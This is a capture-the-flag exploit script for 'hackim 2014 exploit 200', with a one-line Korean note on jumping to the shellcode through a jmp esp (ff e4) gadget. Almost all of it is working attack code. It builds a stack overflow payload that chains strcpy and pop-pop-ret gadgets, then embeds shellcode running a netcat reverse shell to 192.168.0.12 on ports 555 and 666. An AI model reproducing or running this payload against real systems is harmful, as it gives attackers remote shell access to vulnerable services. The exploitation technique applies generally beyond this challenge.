[exploit] hackim 2014 exploit 200

import socket import struct ip = "192.168.0.14" port = 6776 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #payload = [strcpy] [pp ret] [freespace] [0xFF] [strcpy] [pp ret] [freespace+1] [0xE4] [freespace] [shellcode] # or [strcpy] [pp ret] [freespace] [0xFFE4] [freespace] [shellcode] strcpy = struct.pack("<L", 0x8048640) ppr = struct.pack("<L", 0x8048991) freespace = struct.pack("<L", 0x804b301) freespace2 = struct.pack("<L", 0x804b302) ffe4 = struct.pack("<L", 0x8048817) #jmp %esp #shellcode : /bin/sh -c nc 192.168.0.12 555|/bin/sh|nc 192.168.0.12 666 shellcode = "\xeb\x31\x5e\x89\x76\x4f\x8d\x5e\x08\x89\x5e\x53\x8d\x5e\x0b" shellcode +="\x89\x5e\x57\x31\xc0\x88\x46\x07\x88\x46\x0a\x88\x46\x4e\x89" shellcode +="\x46\x5b\xb0\x0b\x89\xf3\x8d\x4e\x4f\x8d\x56\x5b\xcd\x80\x31" shellcode +="\xdb\x89\xd8\x40\xcd\x80\xe8\xca\xff\xff\xff\x2f\x62\x69\x6e" shellcode +="\x2f\x73\x68\x20\x2d\x63\x20\x6e\x63\x20\x31\x39\x32\x2e\x31" shellcode +="\x36\x38\x2e\x30\x2e\x31\x32\x20\x35\x35\x35\x7c\x2f\x62\x69\x6e" shellcode +="\x2f\x73\x68\x7c\x6e\x63\x20\x31\x39\x32\x2e\x31\x36\x38\x2e" shellcode +="\x30\x2e\x31\x32\x20\x36\x36\x36" ################################### payload = '' payload += ':' + 'aaaa'*55 + 'bbbb' payload += strcpy payload += ppr payload += freespace payload += ffe4 payload += freespace payload += shellcode ###################################### try: s.connect((ip, port)) print s.recv(1024) s.send(payload + '\r\n') print s.recv(1024) s.close() except: print 'err'

 

jmp esp(ff e4) 를 이용한 쉘코드호출